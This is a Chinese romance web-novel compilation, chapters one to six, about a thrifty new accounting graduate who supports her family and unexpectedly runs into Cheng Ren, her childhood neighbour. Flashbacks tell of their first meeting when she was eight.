《糟糕的我【合集】》 1. 仲夏 仲夏的启东,热到让人几乎丧失理智,蝉鸣在树上吵闹持久,尽管遮天蔽日的梧桐树种满了整个教学区,但午后的高温依然遍布各个角落。路人行色匆匆,想要尽快逃离炙烤,每个室外奔走的人都湿漉漉的,除了时献。 时献生来体质偏冷,夏天除非暴晒,否则也只是有些薄汗,有风吹过就很快消失。她不喜欢这种体质,总觉得不能很好地排毒,这种感受在运动的时候更加强烈,看到别人从身旁跑过挥汗如雨的样子,仿佛痛快的不得了,再看看自己吭哧吭哧的跑半小时,只要停下来走一会儿身上的衣服就跟换过一样干透,气的她想跺脚。 口袋里的手机振动起来,室友打来电话,时献一手抱着文稿,一手去划接听键,“喂,利雯。” 电话那头传来非常焦急的声音“献献你到哪儿了啊,主任在催呢。” 时献夹紧怀里的文稿,走快了几步。 “到楼下了,一分钟。”说完就挂断了电话。 启大的行政楼在教学区的最北面,时献住在生活区的最南方,她中午接了导师电话就立刻换了衣服赶去行政楼,自行车上星期卖给了低年级的学弟,所以她徒步几乎横跨了整个启大,她对热感受不算强烈,只是没有午睡让她大脑反应有些迟钝。 推开办公室的门,冷气猛地打到身上,冷热交替的强烈感让她颤了一下。 “李主任,这是我们小组的材料。” 办公桌后的人是个中年男子,戴着近视眼镜,看起来学者气质明显,儒雅非常,闻声抬头冲时献点了点头。 “工作怎么样了?” 时献将论文放下,不疾不徐的说:“已经定了,就在靠市中心那一带的办公区,过阵子要去签三方。” 交完论文,时献和利雯一起出了行政楼,准备回宿舍收拾东西,她们毕业在即,毕业典礼也就是下周的事情,宿舍里的人也搬的差不多了。两人的公司相近,已经一起在市区合租了房子,最近一有空就一点点把东西搬到新住处去。 两人刚毕业,虽然说启大的知名度在本市还可以,但到底不是一流名校,待遇很好的大型公司不会来本校招生,大家都只能退而求其次,或者另寻出路。于是四年来朝夕相伴的同学都互相告别,回老家发展的、考体制的、出国的、考研的,直接工作的,每个人的选择都不一样。时献和利雯早在大四一开始的时候就达成共识,直接工作,时献没有多作解释,利雯家境一般,父母都是小地方的工薪阶层,只想毕了业尽快找到一份稳定的工作好有能力照顾父母。 两人在校专业优秀,校招的时候被东峻、铭丰这种很有名气的本地企业录取,虽然比不了大公司,但给的待遇也算是应届毕业生里不错的,利雯在接到offer的时候开心的和老家的父母足足通了一小时的电话,说到最后连升职加薪当CEO都出来了。时献无奈的摇摇头,转头就给她发了附近的租房情况,利雯满腔撸起袖子就是干的热血瞬间就被浇了个透心凉。 利雯趴在床头,打开计算器界面,税后工资刨去房租和生活开销,她这一个月到头连个钢镚儿可能都见不到了,启东的物价让人心碎到想哭。 两人在离公司近一小时地铁的地方租了个小户型的两居室,没有厅。市中心的租金太贵,只能租远一点,好在小区地理位置不错,虽然上班有点远,但前后挨着大超市和菜市场,走路五分钟就有地铁站,虽然很旧,但周边环境不错,生活便捷度也高,综合来看条件已经很好了。 收拾完刚买回来的生活用品,利雯直接累到跪趴在沙发上,手上抓着的抹布还丢在一边“好累啊,不行了,散架了散架了,搬家要命啊。” 时献笑着拿起丢在一边的抹布,重新投了水搓了起来,偏过头扫了一眼沙发。 “差不多了,我们一会儿出去吃个饭,就不回学校了吧,反正过几天就毕业典礼了。” 利雯挪了挪耷拉的脑袋,蹭着沙发闷声闷气地说:“我同意,反正都收拾好了,不回了,从这里回学校还要一个小时,我已经没了。” 利雯夹了块面前的牛肉,嗯好吃,一边感叹一边抬头问时献,“对了献献,你哪天正式去东峻报道?” “毕业典礼完隔天,下周三。” “这么快?这不还没到月底吗?你们部门没这么忙吧?” 时献点点头,“是没有,但是我想快点办完转正手续,实习期已经到了,早点转正早点定岗,而且原来带我的吴姐怀孕了,我得在她休产假之前接下她的工作。” 利雯想了想,赞同般的点点头,“有道理,看来我也要早点入职,本来还想叫你一起多休两天去买两身职业一点的衣服,算了,还是省着花吧。” 说完抬头看到时献慢条斯理地卷起白色衬衫的袖口,怕被面汤溅到,她才反应过来,不知道从什么时候开始,时献似乎就已经把自己的日常着装改成百搭不出错的纯色衬衫或半身裙了,就连外套这两年都慢慢偏向小西装的样式,只不过颜色款式都很简单,平时穿也不会觉得突兀。 “献献,我记得你这样的白衬衫已经有好几件了吧。” 时献喝了口面汤,舒适的“嗯”了一声,“好搭,反正上班也不能穿的太随意,但衬衫总是没错的,搭什么都可以,方便,也不用专门买了。” 想了想,略俏皮地冲她一笑,补充道:“重点是省钱!” 利雯连声啧啧感叹,“不愧是要做财务的人,论省钱之道和攒钱之道,舍你其谁啊,你说就你这个财迷劲儿,几年后是不是就因为理财有道成为富婆了。” 时献疯狂做兼职是从大一入学的时候就开始的,刚开始的时候,利雯以为这个室友可能是家庭条件不好才会这么拼命赚钱,但看她刚入学的时候衣着都是质量上乘的高档牌子,话虽然不多但谈吐落落大方,待人接物进退有度,一看就是有钱人家养出来的气派。原本应该是个自矜的小姐,并且视金钱如粪土的那种。但时献一边拿起奖学金来无人可挡,一边校外兼职做到风生水起,赚钱简直成了唯一乐趣。她大学四年忙的脚不沾地,口袋越来越满衣着却越来越简单,利雯细细想来,刚入学那两年穿的高档牌子后来再也没见她买过,但有几次不经意脱口而出的品牌认知又让人瞠目,这样前后巨大的反差让她怎么也想不明白,难道是心里缺乏安全感?攒钱有底气?利雯心里疑问积了许久,突然想问一问。 “献献,我能问,你大学兼职赚了多少钱吗?” 时献一怔,伸出手指将她的额头推了回去,“不告诉你” 利雯挫败的念叨:“你这大学四年简直可以开生财有道的专栏了,做家教做兼职,赚得多不说,花钱也可以把一分钱花成两分的效果,明明是个富婆却要和我来挤这个小破房子就为了省点租金,啧我妈要是知道了真的会把我丢掉吧?” 时献摇摇头,非常坚定地说:“不会” “你现在这个体重,阿姨丢不动。” ………… 时献的手机发出微信提醒声,她放下筷子,解锁不到3秒,眉头微蹙,手指一通迅速的操作点过手机界面,再锁屏将手机正面朝下盖在桌子上。 再拿起筷子的手,就没有再去捞碗里的面了,碗里的面汤在灯光下泛着奶白色光泽,上面缀着切碎的葱花,时献其实还没吃饱,但现在却没有了胃口。 微信的提醒里弹出了再熟悉不过的话,“献献,先给我转点钱。” 2【水果】 时献坐在书桌前,理了理自己银行卡余额,连钱包的零钱都算进去了,计算器来回按了两遍,金额还是丝毫不变,13253.56。 她叹了口气,房租刚交完一个季度,暂时不用担心。公司有食堂,只需要自己承担早晚两顿即可,也好应付,就算自己尽量撑到下个月发工资,基本生活开销控制在一千左右,能挪出来的最多也只有一万二,还是不够。 时献皱着眉,疲惫的丢下手机,脑海里想到刚刚视频里妹妹说的话。 时献打开手机银行app,直接转了一万二到张玉淑的卡上,想了想,拨通了江琪的电话。 “喂,小琪,能不能,借我点钱。” 时中伟来电的时候,时献正在收阳台晒的被子,两人有段时间不通电话,时献语气中带着自己没察觉的疏离。 挂了电话,时献给时中伟微信发了个定位,就拿起钥匙下楼去了。 时献看着50米外的时中伟走了过来,他背着黑色的双肩包,包里塞的满满,将双肩包撑到极致,肩带因为扣的太紧将肩膀附近的衣服扯的有些变形发皱,手里还提着一个袋子不知道装着什么,时献招了招手,他就面露微笑加快步伐走了过来。 时献带着他进了楼下的快餐店,抬头问他想吃什么,时中伟连连回绝,只说随意就好,不用破费。 时献点了份套餐,给自己点了份小面。 两人相对无言,闷头吃着,时献食不知味,才吃几口就忍不住抬头问:“怎么突然来启东了?” 时中伟大口嚼着米饭,喝了口配汤,说:“朋友介绍,城东那边有个工程,在招人,我来看看。” 时献“哦”了一声,手里的筷子和汤勺动也没动,抬头看了看时中伟,衣领被肩带压到的皱痕还在,眼袋好像比上次还重,整个人透着憔悴。时献皱了皱眉,碗里的面更是一口也吃不下。 “你,衣服带够了吗?晚上要降温,有点,有点凉。” 时中伟扒完碗里的饭,点点头,“够了,带了外套,这才九月,降温没那么快。” 时献想了想,“晚上住的地方有安排了吗?” “嗯,一会就去,朋友那边有宿舍,已经,安排好了。” 时中伟擦了把嘴,看着时献有一口没一口的喝着汤,眼里有些出神,说:“也没什么,就是想,来了就来看看你。” 时献怔了一下,嗯了一声,闷头没再说话。 两人吃饭不过半小时,又闲聊了一会儿,时中伟就说要赶去城东,送了时献回小区楼下,把手里的袋子递了过去。 “爸给你买的水果,你带回去。” 时献愣了愣,接了过来。刚刚吃饭一直没注意看,现在接过来,袋子沉甸甸的,时献低头看了眼袋子里的水果,好像几种水果都买了一些。 时献不知道自己扯了个什么样的微笑,语气有点闷,“买的也太多了,怎么吃的完啊。” 时中伟笑着说:“慢慢吃,不着急,吃不完就分给室友,好了,我走了,你回去吧。” 时献往前一步,伸手扯了扯他的领子,把被肩带压到的一点边缘拉了出来,慢慢抻平了一点。 那一袋水果的份量对时献来说完全超标,时献回到宿舍放进冰箱的时候一样样看过去,苹果,柑橘,火龙果,梨,小番茄,每样都买了一些,有她爱吃的,有不爱吃的,一如这些年时中伟对她的了解,像把石子丢到了心上,酸涩发疼,又从难过里蔓延出一股心软。时献突然想到小时候,他们还住在崇安的“江南里”,时中伟回家的时候经常会给她带一大袋零食,张玉淑每次都要拿零食的事“教育”贪吃的时献和纵容的时中伟。 而现在,他们不在崇安,也早就不住“江南里”了。 时献心里几种来回拉扯的情绪突然重建又突然消失,她说不清,只觉得难受极了,现在却连任何一点情绪都抓不住,可之前那点类似于埋怨的苦闷感被击碎,逐渐淡出胸腔。 以后的生活,总会有办法变好的吧。 时献靠在窗前看向外面的黑夜,心里忍不住想起一个人的样子。 程任,以后会变好的,对吗? 3【时慕】 十月中旬刚过,时献就提了调休申请,第三季度账务清算和月中的CPA考试几乎剥了她一层皮,考完试那天,回到住处的第一件事就是直挺挺的躺到沙发上去,足足缓了半小时才慢吞吞地爬起来收拾自己。 利雯知道她最近备考、工作两边辛苦,当天晚上自告奋勇地下厨做了一桌菜庆祝,时献内心感动,困到几乎睁不开眼也还是强撑着和利雯吃了顿饭,最后是利雯实在看不下去了,从她手里拿走筷子,将她推去浴室洗澡。 窗台的窗户半开着,窗帘没有完全拉上,阳光穿过缝隙落在床边,有风进来,吹动着颈窝的发微微蹭着时献的下巴,她伸手拨了一下,过了一会儿,又拨了一下,终于醒了。 时献打开手机,上午10点26分,真是一觉好睡。 收拾完自己,靠在餐桌旁吃东西的时候,收到了时慕发来的微信。 “姐,这周末有空吗?能不能来我学校?” 时献勾了勾嘴角,一手打字一手往嘴里丢了颗小番茄。 “在学校等我,我今天不上班,过去找你。” 时献靠在公交车窗边,虽然已经不困了,但整个人还是有点懒懒的,闭上眼睛,听着车厢里上下车的人发出的声音,渐渐地有点犯迷糊。 “前方到站---启东外国语大学,下车的乘客请及时做好准备从后门下车……” 时献听到提示音赶紧起身。 “阿姐啊!” 刚下车就看到时慕小跑着过来,时献笑着伸手抓住她的胳膊,“跑什么,公交车站人这么多。 时慕眨眨眼,咧嘴冲她一笑,露出整齐的小白牙,嘴角两边的小梨涡就跑出来了。 时慕反抱住她的手臂,轻轻摇了两下,“你还没吃饭呢吧,我带你去吃饭。” 两人七拐八拐,绕了会儿路,最后定在美食街尾端的巷子里。时献抬头一看,装修确实不错,从外面看店铺面积不是很大,但设计的非常有讲究,和旁边连锁店似的标准式装修完全不一样,一下就凸显出特别来了,只是店名起的很奇怪,小回乡,回乡就回乡,为什么要加个“小”字? 落了座,时慕拿着菜单给时献推荐了几个招牌菜,时献并不忌口,笑着全部接受了。 时献看她心情很好,连带着自己心情也轻松起来,问她:“今天怎么非要请我吃饭?” 时慕“嘿嘿”笑了两声,拿出手机点到支付宝余额。时献凑过去定睛一看,3000,时献惊讶的看向时慕,眼里仿佛在问,哪里来的钱? 时慕笑着锁屏了手机,说:“我兼职的家教发工资啦,是个刚上小学的小姑娘,学前班的时候家长太宠了,英语一点都没启蒙,结果入了小学跟不上老师进度,她爸妈就托学校的老师做辅导,老师太忙了就找到了我,后来知道我钢琴过级,就又加了钢琴辅导,想学个入门,时薪就高了点。” 时献点点头,又问道:“会耽误你平时上课吗?虽然给的不少,但如果时间太长也是不划算的,你现在刚大一,课业虽然不紧,但后面要考的专业证和第二外语压力都大,不着急现在一定要做兼职。” 时慕摇摇头,“没事的,你放心吧,每周只有周六下午去半天,平时复习我都没有在做别的,专心把专业课学好了,周末去半天也不影响,不会太辛苦的。” 时慕夹起面前的排骨放到时献碗里让她赶紧尝尝味道,自己又夹了一块,吃的十分满足。 “这家店我也是最近发现的,上周部门要团建,就定在这边,大家都说这家店是我们美食街的宝藏。做的东西好吃又不贵,环境还好,我前两天发了工资就在想,要带你过来吃,怎么样?很不错吧?” 时献赞同地点头,确实很不错,菜做的精致好看份量又够吃,材料新鲜用料不克扣,菜价也是学生能负荷的程度。 时慕看了眼菜单,念叨着“奇怪,桂花酸奶冻怎么还不上来,我明明点了两份的。” 时慕仰起头向外招手,“嗨麻烦问一下……” 话刚开了个头就突然拐弯,声调也小了下去,像被人掐断了似的,时献顺着她的视线回头看过去。一个穿着深色运动外套的清俊青年走了过来,看上去约莫二十五六岁,青年看着显小,气质却显沉稳,面上没什么表情,看着却不显冷淡,嘴角轻抿,眼睛里似乎噙着一点笑意。 时慕突然站了起来,收了刚刚和时献说话的俏皮,变得有些客气和拘谨,规规矩矩地叫了一声,“苏老师” 苏少钦微笑着点了头,“来这吃饭呢。” “嗯,苏老师也是。” 苏少钦看了眼时献,冲她礼貌性地点头致意了一下,又问向时慕,“这位是?” 时慕伸出右手,五指并拢,指向时献,“哦,这是我姐姐,时献。” 又将手移向苏少钦,“姐,这是我们系的老师,苏老师。” 时献起身,伸出手,“苏老师您好。” 苏少钦伸出手回握,十分绅士地只轻握住了时献的前半掌,更确切地说,只稍微接触了手指部分。 “您好,我是苏少钦,现在是时慕班上的老师,今天初次见面就打扰到你们用餐了,实在不好意思,你们慢用,有什么需要就随时说。” 站在苏少钦旁边穿着工装的服务员走上前,礼貌地询问了意见,苏少钦简单交代了几句就离开了。 时慕轻叹了口气,坐了下来,仿佛受了很大的压力。时献有些好奇,问道:“你们老师这么年轻?我以为是你们学校研究生呢。” 时慕喝了口果汁压惊,“看着显小而已,人家国外博士毕业回国发展的,刚开学的时候把我们系女生迷的不行,其实专业课上要求很严格,我有次弄错了翻译,被他很认真的教育过,现在每次上他的课都很紧张。” 时献有些意外,苏少钦看着气质很温和,尤其刚才望过来的眼神里除了礼节性的客气还有一些,开心的笑意?倒看不出像时慕说的那么严厉,不过私下底和课堂上有些差别也正常吧,时献没多放在心上。 时献想到刚刚苏少钦和服务员招呼的样子,又想了想这家店的名字,苏少钦,小回乡,对时慕说:“这家店是你们老师开的?” 时慕手里的筷子一抖,才反应过来,有些紧张的说:“不,不会吧,以后不能来了吗?” 吃完饭已经是一个小时后,时献本来想去超市买点零食给时慕带回去,谁知道两人刚出小回乡,时慕就被系里叫了回去,好像是口语竞赛的事情。时慕有些不舍得,抓着时献的胳膊摇了几下,时献安抚般轻轻捏了捏她的脸颊,她才回去了。 眼看着时慕进了校,时献转身往公交车站走去,刚走没两步,就看到苏少钦从前方大步走过去,不同于刚刚的绅士气质,此时的苏少钦勾着嘴角,神态有些懒散,颇有点放荡不羁的感觉。路边停着一辆奔驰车,他和车里的人招手打了个招呼,就拉开副驾驶的门坐进去了。 时献出于好奇往侧方走了几步,车窗还没关,刚走到可以看清的位置时,主驾驶的人侧脸一闪而过,擦着时献的视线向前离去。 时献浑身僵硬,在原地愣了几秒,立马反应过来向前跑去。 那个一闪而过的侧脸,虽然很久没见,他身上的气质似乎和以前大不相同,但她还是一眼就认了出来。 是程任! 时献加快速度想追上那辆车,公交站台上有不少人在等车占据着位置,她只好绕过站台,一个大步跨到停车区向前跑,身后有出租车开近站台,时献突然的拐弯冲到停车区几乎和出租车相撞,出租车急刹和地面发出了刺耳的摩擦声,后方位的车也纷纷鸣声示意,时献被吓到 面色完全煞白,整个人站在一边不住地颤抖,站台上有年长的阿姨将她拉了上来,担心地问她。 “哦呦小姑娘你没事吧!怎么能这样瞎跑的,要出事情的,多危险啊你刚刚。” 出租车司机也惊魂未定,连摁了好几下喇叭,反应过来后气的打开车窗,弯了身子冲站台上的时献吼骂过去。 “疯了吧!你是不是找死啊!年纪轻轻的不要活了就走远点!不要命别在这害人!” 时献在吵闹声中捡回一点理智,不停地对出租车司机道歉,又看了看那辆车早就消失的方向,豆大的泪滴直接从眼眶里涌了出来。 出租车司机以为是被自己骂哭的,骂了几句后也就不再继续,气愤地瞪了眼时献,将车开走了。 人群在什么时候散开的时献不知道,她在站台站着错过了一辆又一辆公交车,才慢慢缓过来。 她肤色太白,大哭过后,红通通的双眼被衬得更加明显,脸上的泪已经被吹干,但眼中还微微噙着泪,潮湿地仿佛起了层雾。 程任车没开一会儿,心里突然有种奇异的感觉,促使他朝后方位看去,苏少钦问他怎么了,程任皱了皱眉又松开,摇摇头表示没事。 4【倒回】 时献调休的第二天,回了趟春陵。 她是突然回来的,没提前打招呼,外婆和妈妈开心的不行,张罗着做了一桌菜。 春陵是温柔的一隅小县城,与世无争,地方不大,人也简单,慢节奏的生活,早上能让摊位出工的只有学校附近的小吃店,七八点人们才慢吞吞的出门去工作,最繁华的主干道才稍微见到车水马龙的景象。 时献觉得久违的安全感回来了,舒适地不想思考。 吃完晚饭陪外婆去公园遛了一圈,回来后外婆洗洗就回房睡了。时献轻轻带上房门,走到阳台,挨着沙发靠上去。 张玉淑端了杯热水递了过来,时献发呆被打断,愣愣地接住。 张玉淑看着她神色发怔,自回来以后就经常出神,现下眉头微蹙,只是和人说话的时候才微微平整眉宇,这就是有心事了。 “最近太累了吗?工作是不是不顺心?” 时献低头喝了一口,温热的水涌过喉咙,淌到胸腔里去,像蜿蜒入溪,有点舒服。她微微放松了点,回道:“还好,前阵子忙着事呢,突然休息了有点不习惯。” 张玉淑见她不想说,也没进一步追问,知道时献心里有事非得自己想开口才行,她挨着时献坐在一边,温柔地看着时献,“那陪妈再坐会儿。” 两人相顾无言坐了大概十来分钟,时献杯子里的水已经见凉,张玉淑拿走添了热水,重新交到时献手上的时候,嘱咐她早点休息就准备回房了。 刚转身,时献就叫住了她。 “妈” 张玉淑回头,时献咬紧了下唇,又放开,眼中悲戚,像下了很大的勇气一般。 “我见到程任了” 太久没听到这个名字,尤其是从时献这里听到,张玉淑好一会儿才反应过来。 她心里像被钝物击打了一下,面上却没有太大波澜,小心地打量着时献的神态,轻轻走到她身边,“你们见到了?在哪里?” “没有,我在小慕学校看到了,他没看到我。” 张玉淑语气稍缓,略微轻松地“哦”了一下。 “他,小任他,说起来,我们也五年多没见了。” 时献低下了头,沉默不说话。 张玉淑一颗心沉到底。 试探着、揣摩着用词,“献献啊,你心里,还……” 时献知道张玉淑想问什么,但她回答不了,五年了,只要想到那年最后一次见到程任的样子,她心里就拧着疼。 时献曲起腿,双手环住,将下巴放到膝盖上,声音有些暗哑,“妈,我不敢去见他。” 那天突然见到勾起了这些年压下去的思念,不顾一切地追上去是身体先于理智思考的本能反应,她根本压不住。但是等反应过来以后,她才生出一种茫然和恐慌,这么多年了,他们早就各自有了自己的生活,也有了新的变化,她扪心自问,如果那天追上去了,她该说什么?她又能说什么? 张玉淑慢慢摸着她的背脊,一下一下,像安慰做错事的小孩子一样。她心里五味杂陈,如果没有当年那件事,时献和程任是不是…… “想去找他就去,不想去也没关系,小任这孩子,从小疼你,现在,自然也不会怪你。” 时献摇摇头,声音轻飘飘的,“妈,他不会怪我,他可能,已经把我忘了。” 张玉淑心里一动,想张口说些什么,又咽了下去,现在这个样子,以前的事拿出来再怎么理,总归没有更好的感受。 客厅的灯是暖色的橙黄,笼在时献上方像罩了一层纱,她眼角一行泪滑了出来,从脸颊坠落,整个人在光晕里无助又弱小。 这么多年了,张玉淑第一次看到习惯装作坚强担负起家里责任的时献露出这样的姿态,可转念一想,她也不过才二十几岁,如果顺利读研,现在应该还在学校上课。是什么时候开始,自己自然地将她当成一个挡风遮雨的大人了呢? 桌上的闹钟还在走着,秒针拨动的声音在夜晚非常清晰,提醒着时间永不停止,像这瞬息之间的五年一样,将他们带入毫无交集的两条河流,却在某个时刻触碰到了拐弯点,只相撞了一瞬就各自远去,继续回到之前的状态。 时献在家里待了两天,公司来了电话,最近做的报告数据出了问题,时献连忙收拾一番就回启东了。 张玉淑目送时献上了车,就给时慕去了一个电话。 时献回到东峻后就投入了紧张的返工当中去,同部门一个负责费用核算的会计数据出了问题,连带着整份报告都受到了影响,时献负责的版块受影响最大,她主要做的是费用版块的总结和预算阐述,数据出了错,直接影响到后期的预算,加班加点赶了一个星期才终于完成,交上报告的那天下午,整个人几乎瘫在桌子上,下班的时候走路都是虚浮的。 时慕在这一周跟她联系了两次,但每次都在加班,时慕在电话里有些支支吾吾,可能是看她太忙,也没聊几句就挂断了,时献没深究,打算收拾完工作再找她细问,总担心学校有事。 时献今天提前下班,出公司大门的时候给时慕拨去电话,打了三次,意料之外的没接电话,她有些不明,平时这个点时慕也没课,手机基本也是不离手的,她有些担心,打算直接去学校找时慕。 刚走到路边,招手准备拦车,一辆黑色奔驰从后方靠近,时献盯着手机看时慕是否有回复没有注意,直到车停到她面前,她才觉得有些隐约地熟悉。 车里的人稳稳地停了车,时献看着他开了车门,起身出来,又关上车门,走到她面前,离她半米的距离,定住。 时献呼吸突然急促了起来,心口忍不住发慌。 那人穿了一身黑色的简式西装,因为身材修长而匀称所以将西装穿出了挺括的效果,气质也与五年前截然不同,带着时间赋予的成熟和风度。 他面上隐隐有些动容,眼中有时献看不懂的波澜,神色很深沉,看不出情绪,右手在时献没看到的身侧握紧,紧紧攥成拳又微微松开。 他抿着嘴角,过了会儿轻轻开了口,像怕吓到她似的,喊了一声,“献献,是我。” 声音和记忆里迅速重合,又好像有些不一样,比以前声线深沉了几分。 时献觉得时间好像在迅速倒回,眼前的画面变得不真实,所有的人都在倒走,周遭像回放一样完成了倒带。 她心里那根崩了很多天的弦,被眼前拉扯的画面一带,发出“砰”地一声,突然就断了。 5【倒回】 时献一家搬去”江南里”是在她八岁生日的当天。 那天她起了个大早,兴奋的穿上张玉淑给她买的新裙子,白底粉色的小碎花映得整个人脸色粉扑扑的,像个精雕玉啄的娃娃。 张玉淑怀着身孕,一手扶着腰,一手将切好的蛋糕交给时献,叮嘱了他几句,让她送去隔壁。 程任打开门就看到了面前的人,白嫩嫩的一张小脸,稚气十足,一双眼睛生的尤其明亮,盯着人的时候像颗亮晶晶的葡萄,身上的衣服很衬她,整个人看起来漂亮的像颗珍珠。 程任语文不算太好,脑海里跳出来的是这样神奇的词语形容,不太像用来比喻人的,他忍不住笑出声,半蹲下来,温柔地问,“你好啊小妹妹,请问你找谁呀?” 时献觉得眼前的大哥哥可太好看了,程任很高,站着的时候时献需要仰着头才能看清他的脸,在她感觉到仰的脖子有些酸的时候,大哥哥蹲了下来,和她说话,声音很好听,她看到大哥哥的睫毛又长又密,像她房间里的洋娃娃一样。 时献双手捧着蛋糕,向前递过去,脆生生地说,“哥哥你好,我是隔壁刚搬过来的,今天是我生日,妈妈让我给你们送蛋糕,希望你们喜欢。” 她按照出门前张玉淑教的一字一句的重复,中间有一次被程任满含笑意的眼神看的有些不好意思,差点卡壳,好在有惊无险,说完她默默平复了一下心情,好险啊,差点丢脸了。 程任将她的反应尽收眼底,觉得可爱又好笑,伸手将她的蛋糕接了过来。 “谢谢你啊小妹妹,也谢谢你妈妈,你的蛋糕我们会很喜欢的。” 时献看着他温柔的笑突然羞红了脸,松开手含糊地打了个招呼就跑回去了。 程任端着蛋糕愣在原地,他这是……吓到人家了? 任淸芸回到家的时候,程任就把蛋糕的事跟她说了,任淸芸直怪他不懂事,从家里搬出新得的一盆小苍兰让程任送了过去,正值花季,小苍兰开的正好,白色的花瓣上沾着点花粉,里面透出来鹅黄色的芯,娇嫩又朝气。 只不过去的时候不是时献开的门,张玉淑听程任道明了来意十分开心,婉拒了几下,接过来连声道谢,又打算去客厅拿水果,程任笑着摆手,又寒暄了几句就告别了。来往两下,算是两家邻居非正式建交了,临走的时候冲门内看了一眼,没看到下午那颗小珍珠,天已经黑了,小姑娘可能是睡了吧。 程任早上在自家院子里背单词的时候听到隔壁传来笑声,两家别墅说是连排,其实基本是挨着并立的,中间只隔了一道墙,只是院子两家都种了树,遮住了不少视线。 程任刚上高一,身高已经窜到近一米八,算是班上长的很快的那一拨,现在被树遮住视线也看不到对面发生了什么,他好奇地踮起脚,却还是什么也看不到。 过了会儿,又传出清脆的笑声,听声音应该是昨天晚上搬过来的那个小妹妹,这是在做什么这么开心? 伴随着笑声的还有似乎是绳子摩擦传来的声音,程任略一思忖,这是在……荡秋千? 他浅笑着摇摇头,觉得小孩子的快乐总是很简单,被隔壁的笑声感染了好心情,于是拿起单词本继续背,刚记了五个,隔壁就传来什么东西坠地的声音,紧接着,传来哭声。 程任立刻放下单词本,冲着院墙那边喊了一声,“有人吗?怎么了?” 哭声停顿了一下,抽抽搭搭地没回复,程任急了,又问了句,“有没有人?是摔到地上了吗?” 哭声伴着回复传来,“我……我流血了,哥……哥哥,你在哪里啊?” 程任立刻打开院子门,走到隔壁大门边,门是虚掩的,他跨进院门就看到时献坐在地上,手上和腿上都沾着土,白袜子已经被染脏了,时献看到程任的那刻眼泪还挂在眼眶里,水盈盈的十分可怜。 程任大步走了过去,蹲下来检查她的伤,膝盖处红彤彤的一片已经磨破了皮,正在出血。程任看了眼屋内,问道:“你妈妈呢?没人在家吗?” 时献抽嗒嗒地回:“妈妈出去买菜了,一会儿就回来,爸爸也,也出门了。” 程任听完一手从她身后穿过抓住臂膀,一手握拳穿过膝盖下方,将她抱进屋。 程任没怎么抱过孩子,有些生疏,小心地放到沙发上,问时献家里有没有医药箱,看她一脸迷茫想了想,叮嘱了一句就转身回了自己家取回来医药箱和一块热毛巾。 再弯下腰给时献上药的时候,她已经不哭了,只是脸颊两侧还挂着泪痕。 程任用热毛巾擦了擦伤口周围,拿出医用酒精沾着棉棒凑过去,时献害怕的往后缩了一下,程任突然想到了什么,抬头轻声安慰了一下,“别怕,会有一点点痛,但是消完毒擦点药就不疼了,好不好?” 时献心里有阴影,上次手上蹭破了,妈妈也是拿东西涂上去的,非常疼,她本能的不敢相信。 程任本就生的好看,周身气质干净又青春,给人很亲近的信任感。他穿着白色的运动外套,靠近看还能看到皮肤上的绒毛,脸上充满了笃定,声音带着些温柔,像溪流里淌过的清澈的溪水声,安慰下来好像有种特别的魔力,让她突然觉得,可能哥哥的药水涂了不会疼。 程任见她不出声,想了想,“这样吧,我帮你吹吹,以前哥哥也和你一样摔伤过,但是消了毒上了药很快就好了,你是大孩子了,别怕,哥哥轻一点,我们忍一忍,好吗?” 时献迟疑着点点头,程任也不敢辜负她的信任,就一边轻轻沾着伤口一边轻轻地吹,时献轻颤一下他动作就越发轻柔,上完药又用热毛巾擦了擦流到脚腕边的酒精。 刚收拾完张玉淑就回来了,程任简单解释了一下,张玉淑谢了又谢,知道他家白天没人在家后,十分热情地留他下来吃午饭。 盛情难却,时献又一脸脏兮兮地望着他,可怜巴巴,程任没再推辞,应了下来。 张玉淑做饭的时候,程任走到院子里检查了一下秋千的架构,因为搭建的时候可能赶了时间,所以细节上做的比较粗糙,绑定的绳子虽然很结实但是摸上去十分扎手,尤其是小朋友的手,皮肤太嫩摸上去硌得慌,中间拴着的木板也有点轻微倾斜。时献应该是荡起来的时候用力过猛,荡出去的时候被绳子剌到手,忍不住松开,坐着的木板因为倾斜导致坐姿也是不舒适的,没准荡出去的时候还想调整一下坐姿,结果手一松,就摔了出去。 还好秋千前面的地上没有什么钉子之类的危险品,不然刚装修完,要是遗漏了什么尖锐物品在地上,小孩子覆上去后果不堪设想。 程任有些生气,这是哪家的装修队怎么这么不负责任! 吃饭的时候张玉淑给程任前后夹了好几次菜,堆的程任面前的碗跟座小山似的,又问了几句日常,才知道程任在崇安一中读高一,全市最好的高中,据说一本升学率在全省排名都很靠前,重本达线率也十分可观。程任在理科实验班,那都是中考分数最拔尖的那一批学生才能进去的,据说进了崇安一中的实验班,一只脚就已经迈进了双一流院校的大门。 程任被张玉淑夸的有些不好意思,谦虚了几句。这落在张玉淑眼里,看啊!这就是个努力上进成绩优异又踏实不骄傲的好孩子!是个万里挑一的顶好的孩子! 张玉淑看了眼闷头吃饭的时献,想到她上周周测数学不及格,心里感叹,同样都是孩子,自家这个,怎么只知道吃呢? 时献感受到了张玉淑恨铁不成钢的眼神,有些心虚的扒了口饭,抬头将目光移到程任身上,见他一边吃一边婉拒着张玉淑夹菜,还有面前消不下去的小菜山。 程任面色有些涨红,只能继续吃,又似乎吃到了不喜欢的菜,忍不住微微皱了一下眉,时献被他丰富的表情逗到,忍不住笑出声来。 只是这笑一不小心,鼻子里冲出了一个鼻涕泡,程任听了笑声正扭头看向她,愣住了。 张玉淑也愣住了。 时献呆滞,程任抿了抿嘴角,似乎想笑,又忍住了,从纸巾盒里抽了张纸巾递了过去。 时献的脸迅速红成番茄,也顾不上接过来,双手连忙捂住脸,将头埋到桌子底下去了。 过了会儿,传出了崩溃的哭声。 做题,6 这周五程任刚到家,将自行车停到院子里,正准备回屋放东西,就听到隔壁院子里传来怒不可遏的声音,只听张玉淑拔高了音量。 “小明有八颗苹果,自己吃了一颗,给了妈妈两颗,为什么还剩七颗呢?” 时献着急着分辨,也提高了音量,“因为……只有小明吃了苹果。” “但是小明已经给妈妈两颗苹果了呀!” “但是小明的妈妈没有吃呀!苹果还是苹果呀!” “但是小明手里的苹果已经给妈妈了,小明失去了三颗苹果呀!” “妈妈的苹果放在小明手里不就又有了两颗苹果嘛!” “时小献!你别跟我犟啊!” “我……我没有,啊……妈妈你别骂我,你好好说话……” 程任站在门口,笑出声来。任清芸从屋里走出来,看他笑得停不下来,问道:“怎么了这么好笑?” 程任在门口换了鞋,指了指隔壁。 任清芸也笑了,“教了一下午了,你张阿姨快被气晕过去了,题目总是算不对。” 